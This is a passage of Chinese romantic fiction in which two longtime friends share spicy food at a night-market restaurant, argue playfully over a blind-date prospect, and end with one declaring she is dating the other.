闻山意从她的碗底夹起一只软糯入味的鸡脚,低头咬了一口,在姜青黛望着她的目光中,说:“还行,下次……咳咳……装在一个……咳……大碗里。”
她的鼻尖冒出了晶莹的汗珠,小口喘息,唇瓣催出艳丽的血色。
姜青黛立刻打开了一听冰可乐,闻山意接连灌了两口,才把喉咙的灼烧和刺痛感压下去。
闻山意:“……”
姜青黛:“怪我,下次和你吃微辣的。”
闻山意:“……嗯。”
不重要的小插曲过后,闻山意老实地在自己碗里挑食物吃,藕丸、心肺,都是她以前爱点的。
其实她已经不太记得从前的味道了,但姜青黛还坐在她对面,唇齿间的藕丸逐渐尝出了熟悉的滋味。
十年的老店陈设依旧,来往的客人操着娴熟的乡音,一碗碗喷香油辣的水煮端出来,闻山意的记忆也回到了十几年前的夏天,她们手牵着手在夜市里奔跑,一切都是青春刚刚开始的样子。
桌面的手机屏幕又亮了一下。
闻山意打开回复了几句锁屏,动作快得让姜青黛连屏幕都看不见一星半点。
姜青黛:“……”
怎么回事?防她?
姜青黛瞄了眼她唇角未消散的笑意,食不甘味起来,她戳了两下碗里的豆结,旁敲侧击道:“我妈给你介绍的那个相亲对象……”
闻山意也打太极:“为什么突然问起这个?”
姜青黛一秒放弃,直接匕现:“你加他好友了没有?”
闻山意反问:“你想不想我加他好友?”
姜青黛小声:“我、关我什么事。”
闻山意淡淡:“不关你的事你问什么?”
姜青黛理不直气也壮:“我给你把关啊,万一是一河童,多辣眼睛。”
“阿姨给我发过照片了,不丑,长得挺帅的。”
“万一是照骗呢?”
“那也得见了面才能看到。”
“你还想和他见面?!”姜青黛急得快站起来。
“你不是说不关你的事吗?”闻山意声线异常冷淡。
姜青黛深吸一口气,认错道:“我道歉,我重说,我不想你加他好友。”
闻山意把手机推过来,当着她的面把昨晚收到的好友验证消息删了。
“没加。”
就等她这一句话。
姜青黛压住上翘的唇角:“我还没说原因呢,众所周知,流入相亲市场的男的……”
闻山意拣出一双干净的一次性筷子,敲了下姜青黛的手背,低声说:“吃饭,净说些我不爱听的。”
姜青黛捂着一点都不痛的手,千叮咛万嘱咐道:“你谈了恋爱一定要第一时间告诉我,千万不能瞒着我。”
从十八岁到二十八岁,姜青黛这番话,闻山意听得耳朵都要起茧子了。
既对她的恋情严防死守,又是个油盐不进的天生直女。
闻山意兴致寥寥地嗯了声,忽然将视线转向姜青黛的脸。
夜市里的灯陆续亮了起来,街道上空照出了花灯节的气氛,姜青黛的脸映着灯花妍丽娇美,一双琥珀色的明眸正认真专注地凝视她。
闻山意一手漫支下巴,对她缓缓勾起唇角,眨眼道:“最近确实刚谈了一个。”
姜青黛的神情肉眼可见变得紧张,还有一丝巨大冲击之下凝固的僵硬,艰难启齿道:“和谁?”
闻山意顿时笑靥如花。
“和你啊。”